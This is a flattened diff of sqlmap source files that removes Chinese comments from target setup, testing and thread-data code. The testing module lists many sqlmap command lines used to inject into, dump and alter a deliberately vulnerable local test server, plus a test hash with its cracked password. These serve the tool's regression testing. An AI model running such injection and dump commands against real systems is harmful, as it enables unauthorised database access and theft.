# 从HashDB中恢复存储的操作系统信息
value = hashDBRetrieve(HASHDB_KEYS.OS) value = hashDBRetrieve(HASHDB_KEYS.OS)
if not value: if not value:
@ -638,7 +553,6 @@ def _resumeOS():
infoMsg = "resuming back-end DBMS operating system '%s' " % os infoMsg = "resuming back-end DBMS operating system '%s' " % os
logger.info(infoMsg) logger.info(infoMsg)
# 如果配置文件中的操作系统与从HashDB中恢复的操作系统不一致则提示用户是否强制使用恢复的操作系统
if conf.os and conf.os.lower() != os.lower(): if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the " message += "system, but from a past scan information on the "
@ -647,13 +561,11 @@ def _resumeOS():
message += "Do you really want to force the back-end DBMS " message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] " message += "OS value? [y/N] "
# 如果用户选择不强制使用恢复的操作系统,则将配置文件中的操作系统设置为恢复的操作系统
if not readInput(message, default='N', boolean=True): if not readInput(message, default='N', boolean=True):
conf.os = os conf.os = os
else: else:
conf.os = os conf.os = os
# 设置后端数据库操作系统的值
Backend.setOs(conf.os) Backend.setOs(conf.os)
def _setResultsFile(): def _setResultsFile():
@ -662,21 +574,17 @@ def _setResultsFile():
multiple target mode. multiple target mode.
""" """
# 如果不是在多目标模式下运行,则不创建结果文件
if not conf.multipleTargets: if not conf.multipleTargets:
return return
# 如果没有指定结果文件路径,则使用默认路径
if not conf.resultsFP: if not conf.resultsFP:
conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
found = os.path.exists(conf.resultsFile) found = os.path.exists(conf.resultsFile)
try: try:
# 打开结果文件,如果文件不存在则创建
conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0) conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
except (OSError, IOError) as ex: except (OSError, IOError) as ex:
try: try:
# 如果无法创建结果文件,则使用临时文件
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex)) warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
os.close(handle) os.close(handle)
@ -690,7 +598,6 @@ def _setResultsFile():
errMsg += "create temporary files and/or directories" errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
# 如果结果文件不存在,则写入表头
if not found: if not found:
conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
@ -701,19 +608,15 @@ def _createFilesDir():
Create the file directory. Create the file directory.
""" """
# 如果没有指定读取文件或公共文件,则不创建文件目录
if not any((conf.fileRead, conf.commonFiles)): if not any((conf.fileRead, conf.commonFiles)):
return return
# 设置文件目录路径
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
# 如果文件目录不存在,则创建
if not os.path.isdir(conf.filePath): if not os.path.isdir(conf.filePath):
try: try:
os.makedirs(conf.filePath) os.makedirs(conf.filePath)
except OSError as ex: except OSError as ex:
# 如果无法创建文件目录,则使用临时目录
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
warnMsg = "unable to create files directory " warnMsg = "unable to create files directory "
warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex))
@ -727,19 +630,15 @@ def _createDumpDir():
Create the dump directory. Create the dump directory.
""" """
# 如果没有指定导出表或导出所有表或搜索,则不创建导出目录
if not conf.dumpTable and not conf.dumpAll and not conf.search: if not conf.dumpTable and not conf.dumpAll and not conf.search:
return return
# 设置导出目录路径
conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname)
# 如果导出目录不存在,则创建
if not os.path.isdir(conf.dumpPath): if not os.path.isdir(conf.dumpPath):
try: try:
os.makedirs(conf.dumpPath) os.makedirs(conf.dumpPath)
except Exception as ex: except Exception as ex:
# 如果无法创建导出目录,则使用临时目录
tempDir = tempfile.mkdtemp(prefix="sqlmapdump") tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
warnMsg = "unable to create dump directory " warnMsg = "unable to create dump directory "
warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex))
@ -757,15 +656,12 @@ def _createTargetDirs():
Create the output directory. Create the output directory.
""" """
# 设置输出目录路径
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
try: try:
# 如果输出目录不存在,则创建
if not os.path.isdir(conf.outputPath): if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath) os.makedirs(conf.outputPath)
except (OSError, IOError, TypeError) as ex: except (OSError, IOError, TypeError) as ex:
# 如果无法创建输出目录,则使用临时目录
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
warnMsg = "unable to create output directory " warnMsg = "unable to create output directory "
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
@ -777,7 +673,6 @@ def _createTargetDirs():
conf.outputPath = getUnicode(conf.outputPath) conf.outputPath = getUnicode(conf.outputPath)
try: try:
# 将目标信息写入目标文件
with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f: with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
f.write(getUnicode(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)) f.write(getUnicode(kb.originalUrls.get(conf.url) or conf.url or conf.hostname))
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
@ -796,7 +691,6 @@ def _createTargetDirs():
warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex) warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex)
logger.warning(warnMsg) logger.warning(warnMsg)
# 创建导出目录和文件目录
_createDumpDir() _createDumpDir()
_createFilesDir() _createFilesDir()
_configureDumper() _configureDumper()
@ -870,9 +764,6 @@ def initTargetEnv():
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
def setupTargetEnv(): def setupTargetEnv():
"""
Setup target environment.
"""
_createTargetDirs() _createTargetDirs()
_setRequestParams() _setRequestParams()
_setHashDB() _setHashDB()

@ -5,76 +5,103 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库 import doctest
import doctest # 用于运行文档测试 import logging
import logging # 用于日志记录 import os
import os # 用于操作系统相关功能 import random
import random # 用于生成随机数 import re
import re # 用于正则表达式操作 import socket
import socket # 用于网络通信 import sqlite3
import sqlite3 # 用于SQLite数据库操作 import sys
import sys # 用于系统相关功能 import tempfile
import tempfile # 用于创建临时文件 import threading
import threading # 用于多线程操作 import time
import time # 用于时间相关操作
from extra.vulnserver import vulnserver
# 导入自定义模块 from lib.core.common import clearConsoleLine
from extra.vulnserver import vulnserver # 导入漏洞测试服务器 from lib.core.common import dataToStdout
from lib.core.common import clearConsoleLine # 用于清除控制台行 from lib.core.common import randomInt
from lib.core.common import dataToStdout # 用于向标准输出写数据 from lib.core.common import randomStr
from lib.core.common import randomInt # 用于生成随机整数 from lib.core.common import shellExec
from lib.core.common import randomStr # 用于生成随机字符串 from lib.core.compat import round
from lib.core.common import shellExec # 用于执行shell命令 from lib.core.convert import encodeBase64
from lib.core.compat import round # 用于数字四舍五入 from lib.core.data import kb
from lib.core.convert import encodeBase64 # 用于Base64编码 from lib.core.data import logger
from lib.core.data import kb # 用于存储全局知识库数据 from lib.core.data import paths
from lib.core.data import logger # 用于日志记录 from lib.core.data import queries
from lib.core.data import paths # 用于存储路径信息 from lib.core.patch import unisonRandom
from lib.core.data import queries # 用于存储SQL查询 from lib.core.settings import IS_WIN
from lib.core.patch import unisonRandom # 用于随机数生成
from lib.core.settings import IS_WIN # 用于判断是否Windows系统
def vulnTest(): def vulnTest():
""" """
运行针对'vulnserver'的漏洞测试 Runs the testing against 'vulnserver'
这个函数执行一系列预定义的测试用例来验证sqlmap的功能
""" """
# 定义测试用例元组,每个测试用例包含命令行选项和预期检查项
TESTS = ( TESTS = (
("-h", ("to see full list of options run with '-hh'",)), # 帮助信息测试 ("-h", ("to see full list of options run with '-hh'",)),
("--dependencies", ("sqlmap requires", "third-party library")), # 依赖检查测试 ("--dependencies", ("sqlmap requires", "third-party library")),
# ... 更多测试用例 ... ("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
("-u <url> --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")),
(u"-c <config> --flush-session --output-dir=\"<tmpdir>\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
("-m <multiple> --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")),
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)),
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")),
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
("-u <url> --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d \"<direct>\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "'987654321'",)),
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
) )
retVal = True # 存储测试结果 retVal = True
count = 0 # 测试计数器 count = 0
# 寻找可用的端口
while True: while True:
address, port = "127.0.0.1", random.randint(10000, 65535) address, port = "127.0.0.1", random.randint(10000, 65535)
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if s.connect_ex((address, port)): # 尝试连接端口 if s.connect_ex((address, port)):
break break
else: else:
time.sleep(1) time.sleep(1)
finally: finally:
s.close() s.close()
# 定义运行漏洞服务器的线程函数
def _thread(): def _thread():
vulnserver.init(quiet=True) vulnserver.init(quiet=True)
vulnserver.run(address=address, port=port) vulnserver.run(address=address, port=port)
vulnserver._alive = True vulnserver._alive = True
# 启动漏洞服务器线程
thread = threading.Thread(target=_thread) thread = threading.Thread(target=_thread)
thread.daemon = True thread.daemon = True
thread.start() thread.start()
# 等待服务器启动完成
while vulnserver._alive: while vulnserver._alive:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: try:
@ -95,57 +122,46 @@ def vulnTest():
s.close() s.close()
time.sleep(1) time.sleep(1)
# 检查服务器是否成功启动
if not vulnserver._alive: if not vulnserver._alive:
logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port)) logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port))
return False return False
else: else:
logger.info("vulnserver running at 'http://%s:%s'..." % (address, port)) logger.info("vulnserver running at 'http://%s:%s'..." % (address, port))
# 创建临时配置文件
handle, config = tempfile.mkstemp(suffix=".conf") handle, config = tempfile.mkstemp(suffix=".conf")
os.close(handle) os.close(handle)
# 创建临时SQLite数据库
handle, database = tempfile.mkstemp(suffix=".sqlite") handle, database = tempfile.mkstemp(suffix=".sqlite")
os.close(handle) os.close(handle)
# 初始化数据库架构
with sqlite3.connect(database) as conn: with sqlite3.connect(database) as conn:
c = conn.cursor() c = conn.cursor()
c.executescript(vulnserver.SCHEMA) c.executescript(vulnserver.SCHEMA)
# 创建临时请求文件
handle, request = tempfile.mkstemp(suffix=".req") handle, request = tempfile.mkstemp(suffix=".req")
os.close(handle) os.close(handle)
# 创建临时日志文件
handle, log = tempfile.mkstemp(suffix=".log") handle, log = tempfile.mkstemp(suffix=".log")
os.close(handle) os.close(handle)
# 创建临时多目标文件
handle, multiple = tempfile.mkstemp(suffix=".lst") handle, multiple = tempfile.mkstemp(suffix=".lst")
os.close(handle) os.close(handle)
# 准备HTTP请求内容
content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
with open(request, "w+") as f: with open(request, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
# 准备日志内容
content = '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)) content = '<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False))
with open(log, "w+") as f: with open(log, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
# 设置基本URL和测试参数
base = "http://%s:%d/" % (address, port) base = "http://%s:%d/" % (address, port)
url = "%s?id=1" % base url = "%s?id=1" % base
direct = "sqlite3://%s" % database direct = "sqlite3://%s" % database
tmpdir = tempfile.mkdtemp() tmpdir = tempfile.mkdtemp()
# 读取并修改配置文件
with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f:
content = f.read().replace("url =", "url = %s" % url) content = f.read().replace("url =", "url = %s" % url)
@ -153,45 +169,31 @@ def vulnTest():
f.write(content) f.write(content)
f.flush() f.flush()
# 准备多目标测试文件
content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()) content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr())
with open(multiple, "w+") as f: with open(multiple, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
# 执行所有测试用例
for options, checks in TESTS: for options, checks in TESTS:
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
# Windows系统特殊字符处理
if IS_WIN and "uraj" in options: if IS_WIN and "uraj" in options:
options = options.replace(u"\u0161u\u0107uraj", "sucuraj") options = options.replace(u"\u0161u\u0107uraj", "sucuraj")
checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks]
# 替换测试命令中的占位符 for tag, value in (("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir), ("<request>", request), ("<log>", log), ("<multiple>", multiple), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
for tag, value in (("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir),
("<request>", request), ("<log>", log), ("<multiple>", multiple),
("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
options = options.replace(tag, value) options = options.replace(tag, value)
# 构建完整的测试命令 cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (
sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable,
os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")),
options
)
# 处理临时文件
if "<tmpfile>" in cmd: if "<tmpfile>" in cmd:
handle, tmp = tempfile.mkstemp() handle, tmp = tempfile.mkstemp()
os.close(handle) os.close(handle)
cmd = cmd.replace("<tmpfile>", tmp) cmd = cmd.replace("<tmpfile>", tmp)
# 执行测试命令并检查输出
output = shellExec(cmd) output = shellExec(cmd)
# 验证测试结果
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % output, coloring=False) dataToStdout("%s---\n" % output, coloring=False)
@ -199,7 +201,6 @@ def vulnTest():
count += 1 count += 1
# 清理并显示最终结果
clearConsoleLine() clearConsoleLine()
if retVal: if retVal:
logger.info("vuln test final result: PASSED") logger.info("vuln test final result: PASSED")
@ -210,13 +211,11 @@ def vulnTest():
def smokeTest(): def smokeTest():
""" """
运行程序的基本冒烟测试 Runs the basic smoke testing of a program
验证基本功能是否正常工作
""" """
unisonRandom() # 初始化随机数生成器 unisonRandom()
# 验证错误正则表达式的有效性
with open(paths.ERRORS_XML, "r") as f: with open(paths.ERRORS_XML, "r") as f:
content = f.read() content = f.read()
@ -231,7 +230,6 @@ def smokeTest():
retVal = True retVal = True
count, length = 0, 0 count, length = 0, 0
# 统计需要测试的Python文件数量
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra", "interbase")): if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
continue continue
@ -240,7 +238,6 @@ def smokeTest():
if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
length += 1 length += 1
# 对每个Python文件进行测试
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra", "interbase")): if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
continue continue
@ -262,7 +259,6 @@ def smokeTest():
logger.setLevel(logging.CRITICAL) logger.setLevel(logging.CRITICAL)
kb.smokeMode = True kb.smokeMode = True
# 运行文档测试
(failure_count, _) = doctest.testmod(module) (failure_count, _) = doctest.testmod(module)
kb.smokeMode = False kb.smokeMode = False
@ -275,7 +271,6 @@ def smokeTest():
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
# 验证正则表达式的递归函数
def _(node): def _(node):
for __ in dir(node): for __ in dir(node):
if not __.startswith('_'): if not __.startswith('_'):
@ -291,14 +286,12 @@ def smokeTest():
else: else:
_(candidate) _(candidate)
# 验证所有数据库查询中的正则表达式
for dbms in queries: for dbms in queries:
try: try:
_(queries[dbms]) _(queries[dbms])
except: except:
retVal = False retVal = False
# 显示最终测试结果
clearConsoleLine() clearConsoleLine()
if retVal: if retVal:
logger.info("smoke test final result: PASSED") logger.info("smoke test final result: PASSED")

@ -5,39 +5,35 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入需要的模块
from __future__ import print_function from __future__ import print_function
import difflib # 用于比较文本差异 import difflib
import sqlite3 # SQLite数据库支持 import sqlite3
import threading # 多线程支持 import threading
import time # 时间相关功能 import time
import traceback # 异常追踪 import traceback
# 导入自定义模块 from lib.core.compat import WichmannHill
from lib.core.compat import WichmannHill # 随机数生成器 from lib.core.compat import xrange
from lib.core.compat import xrange # 兼容Python2和3的range函数 from lib.core.data import conf
from lib.core.data import conf # 配置数据 from lib.core.data import kb
from lib.core.data import kb # 知识库数据 from lib.core.data import logger
from lib.core.data import logger # 日志记录器 from lib.core.datatype import AttribDict
from lib.core.datatype import AttribDict # 属性字典类型 from lib.core.enums import PAYLOAD
from lib.core.enums import PAYLOAD # 载荷类型枚举 from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapBaseException # 基础异常类 from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapConnectionException # 连接异常 from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapSkipTargetException # 跳过目标异常 from lib.core.exception import SqlmapThreadException
from lib.core.exception import SqlmapThreadException # 线程异常 from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapUserQuitException # 用户退出异常 from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapValueException # 值错误异常 from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import MAX_NUMBER_OF_THREADS # 最大线程数 from lib.core.settings import PYVERSION
from lib.core.settings import PYVERSION # Python版本信息
# 创建共享数据对象
shared = AttribDict() shared = AttribDict()
class _ThreadData(threading.local): class _ThreadData(threading.local):
""" """
表示线程独立的数据 Represents thread independent data
每个线程都有自己独立的数据副本
""" """
def __init__(self): def __init__(self):
@ -45,117 +41,92 @@ class _ThreadData(threading.local):
def reset(self): def reset(self):
""" """
重置线程数据模型 Resets thread data model
初始化所有线程局部变量
""" """
self.disableStdOut = False # 是否禁用标准输出 self.disableStdOut = False
self.hashDBCursor = None # 哈希数据库游标 self.hashDBCursor = None
self.inTransaction = False # 是否在事务中 self.inTransaction = False
self.lastCode = None # 最后的HTTP状态码 self.lastCode = None
self.lastComparisonPage = None # 最后比较的页面内容 self.lastComparisonPage = None
self.lastComparisonHeaders = None # 最后比较的HTTP头 self.lastComparisonHeaders = None
self.lastComparisonCode = None # 最后比较的状态码 self.lastComparisonCode = None
self.lastComparisonRatio = None # 最后比较的相似度 self.lastComparisonRatio = None
self.lastErrorPage = tuple() # 最后的错误页面 self.lastErrorPage = tuple()
self.lastHTTPError = None # 最后的HTTP错误 self.lastHTTPError = None
self.lastRedirectMsg = None # 最后的重定向消息 self.lastRedirectMsg = None
self.lastQueryDuration = 0 # 最后查询持续时间 self.lastQueryDuration = 0
self.lastPage = None # 最后的页面内容 self.lastPage = None
self.lastRequestMsg = None # 最后的请求消息 self.lastRequestMsg = None
self.lastRequestUID = 0 # 最后请求的唯一ID self.lastRequestUID = 0
self.lastRedirectURL = tuple() # 最后重定向的URL self.lastRedirectURL = tuple()
self.random = WichmannHill() # 随机数生成器 self.random = WichmannHill()
self.resumed = False # 是否已恢复 self.resumed = False
self.retriesCount = 0 # 重试次数 self.retriesCount = 0
self.seqMatcher = difflib.SequenceMatcher(None) # 序列匹配器 self.seqMatcher = difflib.SequenceMatcher(None)
self.shared = shared # 共享数据引用 self.shared = shared
self.technique = None # 当前使用的技术 self.technique = None
self.validationRun = 0 # 验证运行次数 self.validationRun = 0
self.valueStack = [] # 值栈 self.valueStack = []
# 创建线程数据实例
ThreadData = _ThreadData() ThreadData = _ThreadData()
def readInput(message, default=None, checkBatch=True, boolean=False): def readInput(message, default=None, checkBatch=True, boolean=False):
# 将被lib.core.common中的原始函数覆盖 # It will be overwritten by original from lib.core.common
pass pass
def isDigit(value): def isDigit(value):
# 将被lib.core.common中的原始函数覆盖 # It will be overwritten by original from lib.core.common
pass pass
def getCurrentThreadData(): def getCurrentThreadData():
""" """
返回当前线程的局部数据 Returns current thread's local data
""" """
return ThreadData return ThreadData
def getCurrentThreadName(): def getCurrentThreadName():
""" """
返回当前线程的名称 Returns current's thread name
""" """
return threading.current_thread().getName() return threading.current_thread().getName()
def exceptionHandledFunction(threadFunction, silent=False): def exceptionHandledFunction(threadFunction, silent=False):
"""
异常处理包装函数
用于包装线程函数并处理可能发生的异常
"""
try: try:
threadFunction() threadFunction()
except KeyboardInterrupt: # 处理键盘中断 except KeyboardInterrupt:
kb.threadContinue = False kb.threadContinue = False
kb.threadException = True kb.threadException = True
raise raise
